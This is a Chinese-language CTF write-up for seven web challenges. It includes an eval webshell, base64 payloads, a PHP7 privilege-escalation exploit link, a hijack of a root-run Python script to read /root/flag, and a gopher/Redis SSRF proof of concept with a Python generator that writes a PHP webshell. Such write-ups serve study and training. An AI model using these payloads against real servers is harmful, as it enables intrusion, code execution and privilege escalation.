1. check in
考点:一句话 + 提权
参考资料:
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
这道题踩了很多坑,也学到很多知识,在此详细记录下。
坑点一:连蚁剑
直接利用eval("eval($_POST[a]);")
就可以连上蚁剑了。
?Ginkgo=eval($_POST[a]);
?Ginkgo=ZXZhbCgkX1BPU1RbJ2EnXSk7
http://937d2b97-a7b2-43ac-aab2-bee523949983.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbJ2EnXSk7
坑点二:提权
Y1ng的一键日穿神器:
https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass/exploit.php
稍作改动:
pwn("echo `/readflag` > /tmp/result.txt");
或者:
pwn("/readflag");
在/tmp目录下上传提权脚本后,一定要去改权限,不然提权脚本无法正常执行。
final_exp:
#coding=utf-8
import requests
import base64
from urllib.parse import quote as q
url = 'http://937d2b97-a7b2-43ac-aab2-bee523949983.node3.buuoj.cn/?Ginkgo='
payload = 'include("/tmp/exp.php");'
# payload = 'include("/tmp/phpinfo.php");'
final_url = url + q(base64.b64encode(payload.encode()))
print(final_url)
res = requests.get(final_url)
print(res.text)
2. cve版签到
提示:cve-2020-7066
考点:ssrf
参考资料:
1、http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7066
2、https://www.suse.com/zh-cn/security/cve/CVE-2020-7066/
通过%00
截断可以让get_headers()
请求到错误的主机。
3. 老八小超市儿
考点:shopxo框架 + 提权
茫茫多页面,晕。复现成功学到很多知识,好好记录下。
参考资料:
1、渗透测试|shopxo后台全版本获取shell复现 http://www.nctry.com/1660.html
2、writeup:https://www.gem-love.com/ctf/2361.html
3、python 保存命令执行结果 https://www.bbsmax.com/A/LPdo8pGOz3/
坑点一:
宁信书,不如无书,在下载的主题压缩包放入shell后,只需把里面的default打包上传即可,同时访问路径为public/static/index/default/exp.php。
坑点二:
蚁剑连接后,根据提示flag在root目录下,但root目录无权限访问,查看auto.sh
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done
查看/var/mail/makeflaghint.py,发现其可以写文件到根目录下的flag.hint,而根目录下的文件我们是没有写权限的,猜测python脚本是以root权限执行的,而python文件可写,构造payload。
或者用ps -ef查看auto.sh为root权限,那么python脚本也是拥有root权限的。
payload1:
f.write(os.popen("cat /root/flag").read())
os.system()返回的是0,1,不能返回命令执行结果,所以用os.popen()
payload2:
扫描root目录:
f = open("/tmp/pperk","w")
for root,dirs,files in os.walk(r"/root"):
for file in files:
f.write(os.path.join(root,file)+"\n")
#/root/.bashrc
#/root/.profile
#/root/flag
g = open("/root/flag","r")
f = open("/tmp/flag","w")
f.write(g.read())
4. EZ三剑客-EzWeb
考点:redis + ssrf
参考资料:
1、浅析Redis中SSRF的利用(very important) https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#Reference
2、writeup:https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzWeb
4.1 first step
?secret暴露出内网地址,对网段进行扫描,存在提示去扫描端口。
对上述内网地址进行端口扫描,爆出6379端口,回显内容如下:(redis的报错)
-ERR wrong number of arguments for 'get' command 1
4.2 next_step
贴上poc:
gopher://192.168.163.128:6379/_*1
$8
flushall
*3
$3
set
$1
1
$31
<?php eval($_GET["cmd"]);?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
exp如下:
import urllib
protocol="gopher://"
ip="173.224.146.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
payload放到输入框直接打,就可以写入一个一句话木马。
4.3 final_step
5. EZ三剑客-EzNode
考点:setTimeout整型溢出 + safer-eval漏洞引起的沙箱逃逸
参考资料:
1、 https://github.com/commenthol/safer-eval/issues/10
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
// 调用express方法实例化对象
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
整型溢出绕过延时,payload配合saferEval一把梭。
6. EZ三剑客-EzTypecho
考点:PHP_SESSION_UPLOAD_PROGRESS + typecho1.1反序列化
参考资料:
1、typecho1.1反序列化漏洞 http://www.tomyxy.com/index.php/archives/3.html
2、EZ三剑客EzTypecho https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho
找到pop链,用大佬的exp,存在两个反序列化点,因此也算是两种解法。一种需要用PHP_SESSION_UPLOAD_PROGRESS绕过session检测,另一种则不需要。
7. Node-Exe
提示:程序为electron程序
web最后一题是个Electron, 很简单的, asar可以一键解包出js。
参考资料:
1、Electron跨平台程序破解的一般思路 https://www.52pojie.cn/thread-563895-1-1.html